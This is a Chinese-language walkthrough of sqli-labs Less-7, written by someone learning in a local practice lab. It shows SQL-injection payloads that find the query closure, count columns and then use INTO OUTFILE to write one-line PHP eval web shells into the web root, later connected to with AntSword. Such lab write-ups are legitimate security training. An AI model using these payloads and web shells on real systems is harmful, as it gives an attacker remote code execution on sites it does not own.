看到这里好像和前面的不一样了,多了个use outfile
先输入个'符号,看报错,还是得看别人的教程,通过查找,好像要通过图片来进行注入,ok呀,又是新的方式,
首先我们需要知道他的闭合方式,我记得前面只要闭合了他就会报错,但是这个他输什么都报错,但就是不能把后面的的闭合了
单引号报错,单引号+括号报错,输一个括号又是正常显示,不知道怎么回事,明天写,先领券
实战的话也只能去猜解了吧,那就先尝试加入--+,然后再去猜解前面的闭合符号
因为成功闭合了,他会返回正常页面
1、尝试
'--+错误页面,
')--+错误页面,
'))--+正常页面
得出结果,闭合符号为'))
再去看着一关的网站源码,也同样可以得出闭合方式为(('1')),上面的意思大概是接受一个get的id传参,给数据库拼接,没有过滤参数
这段代码是一个PHP脚本,用于处理来自GET请求的参数。下面是对代码的解释:
include("../sql-connections/sql-connect.php");: 这一行代码包含了一个名为"sql-connect.php"的文件,该文件通常包含连接到MySQL数据库所需的信息和函数。
error_reporting(0);: 这行代码将错误报告级别设置为0,这意味着不会显示任何错误消息。
if(isset($_GET['id'])): 这个条件语句检查是否存在名为'id'的GET参数。如果存在,则执行下面的代码块。
$id=$_GET['id'];: 如果GET参数'id'存在,将其值赋给变量$id。
$fp=fopen('result.txt','a');: 这行代码打开名为'result.txt'的文件以追加模式('a')。如果文件不存在,它将创建一个新文件。
fwrite($fp,'ID:'.$id."\n");: 这行代码将字符串'ID:'和变量$id的值写入到文件中,并在末尾添加换行符。
fclose($fp);: 最后,关闭文件资源,释放系统资源。
总的来说,这段代码的目的是从GET请求中获取'id'参数的值,并将其记录到一个名为'result.txt'的文件中。
找到闭合方式,下一步就该考虑采用什么方式进行注入了,
正常页面不会返回任何sql信息,没有回显字段,但是这里利用了union的写入数据的功能
报错了之后没有报错信息,不能采用报错注入
不好能用布尔盲注了,因为根据题目我们需要写入文件进行注入
但是我们可以先判断看他有几个字段,因为有错误和正常页面
在url上查询,可能是种种原因,我也不知道为什么原因和navicat查询的字段不一样,不过没有关系
http://sql-labs:8888/Less-7/?id=1')) order by 3--+ //返回正常
http://sql-labs:8888/Less-7/?id=1')) order by 4--+ //返回错误
判断有3个字段
以下是通过navicat直接对数据库进行查询
order by 3查询的是那三个字段呢,通过查询
查询表user
use pikachu;
SELECT * FROM users WHERE id='1' order by 5 -- ')); //5报错,4正常
查询表message
use pikachu;
SELECT * FROM message WHERE id='56' order by 4 -- ')); //4正常,5报错
是上面id、username、password、level字段。
在回到我们的网页当中,order by 3--+正常,order4--+报错,那就说明有3个字段
接下需要通过union select写入文件进行注入 ,需要得到目标地址的绝对路径,很麻烦,我知道的,实战的话可能根据报错一些报错信息,得到一些路径,不知道相对路径行不行
引用知乎的博客"https://zhuanlan.zhihu.com/p/392484484"文章
into_outfile读写文件
2. 条件
1)要有file_priv权限
2)知道网站绝对路径
3)要能用union
4)对web目录有写权限
5)没有过滤单引号
这里需要注意,数据库需要开启写入权限,查询SHOW VARIABLES LIKE "secure_file_priv";
null字段表示禁止,所以需要先开启,找了一圈,不能通过命令直接修改系统文件,他时一个只读变量。
secure_file_priv 有些设置选项:
如果为空,不做目录限制,即任何目录均可以。
如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录。
如果设置为 NULL,MySQL 服务器禁止导入与导出功能。
没关系哒~,我们把他打开修改就好啦,是my.ini配置的文件,直接修改secure file priv=' '为空即可
"D:\soft\phpstudya\phpstudy_pro\Extensions\MySQL5.7.26\my.ini"
然后重启一下mysql数据库和apache,在用命令查看,ok呀为空
然后就是利用union select进行写入,我有点兰,就直接拿别人的命令了,再改一下,我的是d盘的test目录
1')) union select 1,2,3,into outfile "D:\\test\1.txt"--+
但是我没读取到,看一下原因,没找到原因,
第一个原因是,3后面没有逗号,因为我们已经判断字段数是3了
第二个原因是,文件目录需要是两个反斜杠,我只写了一个反斜杠,一个反斜杠可能是被浏览器转义了,//是反转义,
修改之后
1')) union select 1,2,3 into outfile "D:\\test\\1.txt"--+
最后也是成功创建了一个4.txt文件
既然可以直接写入文件,那就没有必要去猜解数据库的表名和数据了,
可以直接写入一句话木马,后缀是.php,不然不能解析php代码,然后用蚁剑连接
1')) union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D:\\test\\6.php"--+
本来想直接写在d盘的,但是我不知道怎么读d盘了,网上都是在Less-7目录下的
算了,直接写在Less-7目录下,利用在less-2关卡获取到的绝对路径,因为那有回显,会显示数据
那个命令好像是@@datadir,查看数据目录,还是要猜解的,这也不全
偷个懒,我直接复制我less-7的目录了,//是反转义,网上查的,
错误代码
1')) union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//6.php"--+
正确代码
1')) union select 1,'<?php @eval($_POST["cmd"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//6.php"--+
所以这个php代码是严格区分大小写的,错误的代码post没有大写,导致我连不上蚁剑
但是连不上,试下网上的那种
1')) union select 1,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//7.php"--+但是这个不知道为啥连不上,大小写没问题
解码之后0x<?php eval($_POST['test'])?>,我在eval前面在加上@在编码也是不行
无语了,被360隔离了,难怪没有文件,还是连不上,经过测试发现
"<?php eval($_REQUEST[1])?>",能用这种request连,也可以用post连,代码写错了构造
1')) union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-7//8.php"--+
连接成功!
参考
sqli-labs 靶场 less-7 第七关详解:OUTFILE注入与配置_sqli-labs靶场第七题-CSDN博客
SQLi-Labs 第七关:多命通关攻略-百度开发者中心 (baidu.com)
sqli-labs第七题 - 爱十三的柒 - 博客园 (cnblogs.com)
SQL注入靶场Sqli-Labs 1-65关全部通关笔记【持续更新】 - rebootORZ - 博客园 (cnblogs.com)
MySQL 全局配置 --secure-file-priv_mysql --secure-file-priv-CSDN博客
sqli-labs 靶场 less-7 第七关详解:OUTFILE注入与配置-CSDN博客
sqli-labs关卡7(结合文件上传漏洞+一句马+菜刀)通关思路_sqli-labs 文件上传-CSDN博客